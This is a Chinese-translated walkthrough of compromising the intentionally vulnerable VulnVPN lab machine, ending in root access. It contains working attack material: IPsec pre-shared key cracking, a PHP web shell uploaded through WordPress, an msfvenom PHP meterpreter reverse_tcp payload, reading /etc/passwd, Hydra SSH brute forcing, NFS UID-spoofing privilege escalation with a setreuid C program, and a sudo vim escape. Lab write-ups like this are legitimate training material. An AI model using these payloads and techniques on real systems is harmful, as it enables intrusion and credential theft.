学习如何渗透测试VPN和Vlun VPN

VulnVPN的作者已创建http://www.rebootuser.com/,我必须说,这是一个非常好的努力。我们的目标是获得root访问VPN服务器,本文将带您完成整个过程的每一个步骤。

设置VulnVPN和Backtrack

VulnVPN下载链接: http://www.rebootuser.com/wp-content/uploads/vulnvpn/VulnVPN.7z

VulnVPN客户端文件: http://www.rebootuser.com/wp-content/uploads/vulnvpn/client.7z

我尝试了设置KALI Linux32位和64位,但没成功。所以我VMWare安装的是BackTrack 5 r3 32 位。

首先,使用“虚拟网络编辑器”,改变NAT IP地址分配到192.168.0.0如下图所示的图像:

image001

我们将使用这个Backtrack攻击机器。

现在创建一个回溯5R3虚拟机并安装它。在安装完成后,更新它(特别是Metasploit的)。

要使VulnVPN机正常工作,我们需要安装有更多的应用程序:

ppenswan

xl2tpd

PPP

使用以下命令安装这些应用程序:
[code lang="js"]apt-get install openswan xl2tpd ppp[/code]

当一切完成后,启动两个VulnVPN和BackTrack虚拟机。然后VulnVPN启动并运行,我们不会接触它,我们会认为它是一台远程机器,我们没有过任何控制(此时)。

在 BackTrack上我们需要为它分配一个静态IP地址。要做到这一点,打开文件“/etc/network/interfaces”,改变为“eth0的”接口的IP地址:

[code lang="js"]

auto eth0

iface eth0 inet dhcp

#iface eth0 inet static

address 192.168.0.11

network 192.168.0.0

netmask 255.255.255.0

broadcast 192.168.0.255

gateway 192.168.0.1

[/code]

现在解压先前下载的"client.7z"文件,并将它们复制到它们各自的位置,使用下面列出的命令:

[code lang="js"]

root@bt:~/vulnvpn/client# ls

ipsec.conf ipsec.secrets ppp start-vpn.sh xl2tpd

root@bt:~/vulnvpn/client# cp ipsec.conf /etc/

root@bt:~/vulnvpn/client# cp ipsec.secrets /etc/

root@bt:~/vulnvpn/client# cp ppp/options.l2tpd.client /etc/ppp/

root@bt:~/vulnvpn/client# cp xl2tpd/xl2tpd.conf /etc/xl2tpd/

[/code]

找到连接在网络上的主机,请使用以下命令:

[code lang="js"]

root@bt:~/vulnvpn# netdisocver -r 192.168.0.0/24

[/code]

启动VulnVPN开始渗透测试

找到连接在网络上的主机,请使用以下命令:

[code lang="js"]

root@bt:~/vulnvpn# netdisocver -r 192.168.0.0/24

[/code]

IP Address Host Details

192.168.0.10 VulnVPN

192.168.0.11 BackTrack

TCP 端口扫描192.168.0.10

[code lang="js"]

root@bt:~/vulnvpn# nmap -A 192.168.0.10

[/code]

image002

UDP端口扫描192.168.0.10

[code lang="js"]

root@bt:~/vulnvpn# nmap -sU 192.168.0.10
[/code]

image003

注: 192.168.0.10 上的 TCP 端口 81 用于诊断,但不会被攻击。

UDP 端口 500 运行"isakmp"服务 (你可以阅读更多关于它在这里: http://www.networksorcery.com/enp/protocol/isakmp.htm).

我们可以使用工具“isakmp”,一个命令行工具,它使用 IKE 协议发现、 指纹,和测试 IPSec VPN 服务器并进一步测试此服务。

使用ike-scan扫描192.168.0.100的500端口

[code lang="js"]

root@bt:~/vulnvpn# ike-scan -M -A -Pike-hash -d 500 192.168.0.10[/code]

image004

-M:分页输出

-A:主动模式

-P <FILENAME>:要写入到预共享密钥的文件名

-d:目标UDP端口

文件“ike-hash”内的预共享密钥可以使用“psk-crack”来破解。

[code lang="js"]

root@bt:~/vulnvpn# psk-crack -d /pentest/passwords/wordlists/rockyou.txt ike-hash

[/code]

image005

现在,我们有密码123456。我们可以用它来 ​​连接VulnVPN。

编辑/etc/ipsec.secrets和ENTER_PSK_HERE替换为123456.

[code lang="js"]

root@bt:~/vulnvpn# nano /etc/ipsec.secrets

[/code]

image006

现在,重新启动IPSec服务:

[code lang="js"]

root@bt:~# /etc/init.d/ipsec restart

[/code]

image007

如果 xl2tpd 服务尚未运行,你将必须启动它,以及:

root@bt:~# /etc/init.d/xl2tpd start

现在,使用以下命令连接到VulnVPN:

root@bt:~# ipsec auto –up vpn

image008

执行在客户端文件夹中的文件“start-vpn.sh”。执行后,等待一段时间,你将会像ppp0创建一个新的接口。

root@bt:~/vulnvpn/client# sh start-vpn.sh

image009

我们可以发现活跃的主机:

[code lang="js"]

root@bt:~/vulnvpn# for ip in 10.99.99.{1..255}; do ping -c 1 -t 1 $ip > /dev/null && echo “${ip} is up”; done

[/code]

image010

10.99.99.2是我们的IP地址,另一个是VPN的。

在10.99.99.1运行端口扫描:

root@bt:~/vulnvpn# nmap -A -p1-65535 10.99.99.1

image011

在 10.99.99.1 上的 80 和 10000端口 正在运行 HTTP 服务器。

10.99.99.1 上的端口 80

image012

image013

第一次转发80端口的HTTP服务器,默认页面是Apache HTTP服务器安装在它没有进一步的链接。运行dirbuster上 http://10.99.99.1/:

image014

结果:

image015

我们可以看到,WordPress安装在HTTP服务器上。WordPress的页面也可以从这里访问:

http://10.99.99.1/wordpress/

image016

还有就是主页上的上传表单:

image017

该页面允许用户提交上传文件。让我们试着上传包含一个web shell代码的PHP文件。

cmd.php

[code lang="js"]

<?php

highlight_string(shell_exec($_REQUEST['cmd']));

?>

[/code]

在WordPress,文件一般上传到这个位置:/ wp-content/uploads /

image018

我们的 web shell 位于 rsjp/attachments//目录,但是文件名被更改为随机长的字符串。可以在这里访问的 web shell:

image019

创建一个 PHP meterpreter shell,使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.99.99.2 LPORT=4444 -f raw > meter.php

Start a metasploit multi-handler exploit:

image020

现在我们有一个metepreter shell运行在服务器上。

打开一个shell提示符和访问文件系统:

[code lang="js"]

Meterpreter> shell

python -c “import pty;pty.spawn(‘/bin/bash’);”

[/code]

image021

查看服务器中/etc/passwd 文件

[code lang="js"]

www-data@vulnvpn:/$ cat /etc/passwd

[/code]

image022

列表中令人关注的用户是:

root, www-data, bob, jane

我们有另一个web服务器在10000端口上运行,在这里请注意试图通过 HTTP访问它师,Web服务器将引发错误。它是通过HTTPS访问,即:

https://10.99.99.1:10000 /

image023

 

我们还不知道密码还,所以我们使用之前利用WordPress上传漏洞发现的用户名创建一个用户名列表。对于密码字段,猜测常见用户名和密码可以做。

使用用户名和密码组合来猜测:

用户名

密码

BOB

BOB

注:太多不正确的登录尝试,会导致短时间内禁止的IP访问登录页面。

 image024

image025

快速搜索metasploit可用的公共webmin漏洞给我们:

Metasploit: exploit/unix/webapp/webmin_show_cgi_exec

注意:如果你不能在你的Metasploit找到这个漏洞,那么对Metasploit进行更新。

运行这个漏洞并成功获得“ root“访问权限。

image026

另一个“root”欺骗:

使用hydra以及我们以前收集的常见密码组合字典破解基于ssh的用户名列表

image027

正确的登录凭据:

用户名

密码

BOB

BOB

从Nmap的扫描,我们可以看到一个网络文件系统(NFS)

 image028

运行metasploit 和辅助模块 NFS mount扫描器:

Metasploit: auxiliary/scanner/nfs/nfsmount

image029

有一个可用的NFS在/home/bob

在10.99.99.1挂载/home/bob,

请使用以下命令:

[code lang="js"]

root@bt:~/vulnvpn# mount 10.99.99.1:/home/bob /root/vulnvpn/bob -o nolock

List all files in the new mount in ./bob

root@bt:~/vulnvpn# ls -lah ./bob

[/code]

image030

呵呵!为什么在这个NFS挂载的所有文件都属于“Postgres的”用户?

这个问题的答案是 NFS 挂载的所有者和组在 mount列出的文件已转换从数值形式为名称的Backtrack所有者。

Backtrack看到“/etc/passwd”文件的内容,我们可以看到,用户“postgres”的用户和组ID为1000。所以文件属于用户和组ID 1000。

现在我们以前利用此漏洞,我们看到"/ etc/passwd" VulnVPN 服务器的内容。根据该文件的用户和组 ID 1000 属于用户"bob".

在Backtrack登录为“root”在用户,并试图建立一个新的文件NFS,我们收到一个错误:

image031

这是因为“root Squashing”在NFS已启用。由于文件属于用户ID 1000,我们可以切换“postgres”的用户,创建NFS挂载的文件。

root@bt:~/vulnvpn# su postgres

sh-4.1$ chmd 777 .

image032

复制/bin/bash 到 ./bob:

sh-4.1$ cp /bin/bash ./

由于“root”没有权限写入,而且我们已经从“www-data”(现在没多大用处)有一个shell,其他用户是“jane”用户ID 1001。在Backtrack使用以下命令创建相同信息的用户:

root@bt:~/vulnvpn# useradd -u 1001 jane

现在切换到该用户帐户的安装位置。

root@bt:~/vulnvpn/bob# su jane

sh-4.1$ whoami

image033

复制“/bin/bash”到“jane”用户挂载,并修改其权限为4777,这意味着调用该文件的用户将执行以“jane”的用户。

sh-4.1$ cp /bin/bash ./mybash

sh-4.1$ chmod 777 mybash

image034

从以前的字典上攻击SHH登陆,我们得到了登录鲍勃的凭据:

用户名:BOB

密码:BOB

登录使用这些凭据SSH:

root@bt:~/vulnvpn/bob# ssh bob@10.99.99.1

image035

现在运行复制的bash文件“mybash”开关“ -P “:

bob@vulnvpn:~$ ./mybash -p

image036

我们现在的登录的用户身份是“jane”,但UID和GID仍然是用户“bob”。

如何摆脱它,下面的内容创建一个C文件:

priv1.c

[code lang="js"]

void main()
{
/* setreuid(ruid,euid)sets the real and effective user IDs of the current process to the values specified by the ruid and euid arguments */
setreuid(1001,-1);
char *args[] = {“/bin/bash”,0};

&nbsp;

execve(args[0],args,0);

&nbsp;

}

[/code]

编译这个文件,然后将编译后的文件复制到NFS挂载作为用户“jane”。

在服务器上没有gcc:p
[code lang="js"]

root@bt:~/vulnvpn# gcc priv1.c -o priv1

root@bt:~/vulnvpn# chmod 777 priv1

root@bt:~/vulnvpn# cd bob

root@bt:~/vulnvpn/bob# su jane

sh-4.1$ cp ../priv1 ./

[/code]

image037

现在,又回到了在SSH的shell,我们切换到jane ,但UID和GID是的鲍勃,执行以上可执行文件“ priv1 “。

mybash-4.1 $ ./priv1

image038

就像我们在我以前的帖子人做了shell,

我们看到我们可以 以root身份运行什么命令。

jane@vulnvpn:/home/bob$ sudo-l

image039

使用jane允许运行root命令,即VIM没有密码。

如果你不知道,那就让我与你分享,也可以执行从Vim命令。

jane@vulnvpn:/home/bob$ vim

 

现在按:“然后的<命令>”

image040

Starting shell….

jane@vulnvpn:/home/bob$ sudo vim

image041

我们得到了root

via

注:本文有本文由InfoSecLab  翻译,如有翻译和编辑错误,请联系管理员,我们将尽快处理,转载请保留版权,谢谢,希望本文对你有所帮助

参考文献:

http://www.rebootuser.com/?p=1474

http://pubs.opengroup.org/onlinepubs/009695399/functions/setreuid.html

作者简介:

Abhineet Jayaraj是一个自由(兼职)的信息安全研究员。通过学习,实践和向应用程序供应商报告错误的经验。CEH认证,但认为在实际知识和未在框中的思考,而不是收集证书。一直开到更多的学习,以提高自己的知识。信息安全是一种爱好,而工作对他。构建工具来自动化测试,使事情变得更加容易。

 


发表评论

(必填)

(必填)

(以便回访)